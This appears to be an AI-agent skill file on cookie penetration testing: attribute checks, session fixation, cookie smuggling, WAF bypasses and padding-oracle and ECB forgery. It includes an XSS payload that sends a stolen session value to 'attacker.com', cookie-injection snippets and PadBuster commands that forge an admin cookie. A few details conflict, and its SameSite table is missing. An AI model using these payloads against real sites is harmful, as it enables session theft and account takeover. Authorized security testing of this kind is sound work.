Cookie Pentest

Cookie Pentesting Skill

A comprehensive guide for testing cookie-based authentication and session management vulnerabilities in web applications.

When to Use This Skill

Use this skill when:

• Analyzing cookie attributes and flags for security issues
• Testing for session hijacking, fixation, or donation attacks
• Investigating cookie smuggling or parsing vulnerabilities
• Checking for WAF bypass opportunities via cookie manipulation
• Testing cookie encryption/encoding for weaknesses
• Assessing SameSite, HttpOnly, and Secure flag effectiveness
• Performing cookie-based authentication bypass testing

Quick Reference: Cookie Attributes

SameSite Behavior Matrix

*Chrome 80+ defaults to Lax for cookies without SameSite

Cookie Prefix Security

__Secure- Prefix

• Must be set with Secure flag
• Must originate from HTTPS
• Prevents downgrade attacks

__Host- Prefix (Stricter)

• Must be set with Secure flag
• Must originate from HTTPS
• Cannot specify Domain (prevents subdomain transmission)
• Path must be /
• Isolates application cookies from subdomains

Common Cookie Vulnerabilities

1. Session Hijacking

What to check:

• Can cookies be intercepted (missing Secure flag)?
• Are cookies accessible via JavaScript (missing HttpOnly)?
• Is there XSS that could exfiltrate cookies?

Test:

# Check cookie flags in browser dev tools
# Look for missing Secure/HttpOnly flags

2. Session Fixation

What to check:

• Does the application regenerate session ID after login?
• Can you set a cookie before login and use it after?

Test:

1. Set a known cookie value
2. Log in with that cookie
3. Check if the same cookie is accepted post-login

3. Cookie Smuggling

What to check:

• Server parsing inconsistencies (RFC2109 vs RFC6265)
• Double-quoted values with embedded semicolons
• Unicode whitespace in cookie names

Test payloads:

// Unicode whitespace prefix forgery
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

// Legacy $Version=1 parsing
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

// Cookie smuggling with quotes
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

4. HttpOnly Bypasses

What to check:

• Does any endpoint echo session ID in response?
• Is TRACE method enabled (Cross-Site Tracking)?
• Can you use Cookie Smuggling to exfiltrate?

XSS payload for response-based bypass:

// Extract session from response
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
  .then(r => r.text())
  .then(t => { 
    const m = re.exec(t); 
    if (m) fetch('https://attacker.com/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); 
  });

5. Cookie Sandwich Attack

Requirements:

• A cookie reflected in response
• XSS capability

Steps:

document.cookie = `$Version=1;`;
document.cookie = `param1="start;`;
// Legit cookie gets trapped here
document.cookie = `param2=end";`;

6. WAF Bypasses

Quoted-string encoding

// Bypass value analysis
eval('test') => forbidden
"\e\v\a\l\('\t\e\s\t'\)" => allowed

Cookie splitting

Cookie: name=eval('test//
Cookie: comment')
// Result: name=eval('test//, comment')

Comma separator (RFC2109)

$Version=1; foo=bar, abc = qux
// Creates: foo=bar AND admin=qux (spaces trimmed)

7. Encryption Weaknesses

Padding Oracle (CBC Mode)

Detection:

• Cookie changes predictably with input changes
• Different error messages for valid/invalid decryption

Tool: PadBuster

# Basic usage
padbuster <URL> <COOKIE> <PAD[8-16]>

# With cookies parameter
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# Decrypt and forge
padbuster http://web.com/index.php <cookie> 8 -cookies thecookie=<cookie> -plaintext user=administrator

ECB Mode Detection

Test:

1. Create user with repeated characters: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2. Check for repeating patterns in cookie (block size)
3. If found, you can swap blocks to forge cookies

Example:

• Encrypt a * block_size = pattern X
• Create a * block_size + admin
• Remove pattern X, append admin block

CBC-MAC Forgery

Attack pattern:

1. Get signature of administ = t
2. Get signature of rator\x00\x00\x00 XOR t = t'
3. Set cookie: administrator + t'

8. Static-Key Cookie Forgery

What to check:

• Cookie encrypts only predictable values (user ID)
• Same key used across all users
• No anti-replay properties

Test:

1. Get your own cookie
2. Determine cipher/encoding (hex, base64)
3. Try encrypting your user ID with common keys
4. If it matches, forge cookies for other IDs (e.g., ID=1 for admin)

Testing Checklist

Basic Checks

• Cookie changes on logout
• Cookie changes after password change
• Cookie contains readable/decodable data
• Same cookie works across devices
• "Remember me" cookie behavior
• Multiple accounts show cookie patterns

Advanced Checks

• Create similar usernames to guess algorithm
• Brute-force cookie bits
• Test Padding Oracle with PadBuster
• Check for ECB patterns
• Test CBC-MAC forgery
• Attempt static-key forgery

Attribute Checks

• Secure flag present on sensitive cookies
• HttpOnly flag present on session cookies
• SameSite set to Strict or Lax
• Domain not overly broad
• Path is specific, not /
• Max-Age or Expires set appropriately

Tools and Scripts

Use the bundled scripts for common tasks:

scripts/cookie-analyzer.py

Analyze cookie attributes and identify security issues.

scripts/cookie-encoding.py

Encode/decode cookie values (base64, hex, URL-safe).

scripts/cookie-forgery-test.py

Test for static-key cookie forgery vulnerabilities.

References

• Cookie Chaos: Bypassing __Host and __Secure prefixes
• Cookie Bugs Research
• Bypassing WAFs with Phantom Version Cookie
• Cookie Sandwich Technique
• Burp CookiePrefixBypass Custom Action

Methodology

1. Reconnaissance: Identify all cookies and their attributes
2. Attribute Analysis: Check flags, prefixes, and settings
3. Manipulation Testing: Try modifying cookie values
4. Smuggling Tests: Test parsing inconsistencies
5. Encryption Analysis: Check for weak encryption patterns
6. WAF Bypass: Test cookie-based bypass techniques
7. Documentation: Record all findings and proof of concept

Important Notes

• Always test in authorized environments only
• Document all findings with evidence
• Consider browser differences in cookie handling
• Server-side parsing may differ from browser behavior
• Unicode and encoding issues are common attack vectors
• Modern browsers have improved cookie security (Chrome 80+ SameSite defaults)
• Test across multiple browsers for comprehensive coverage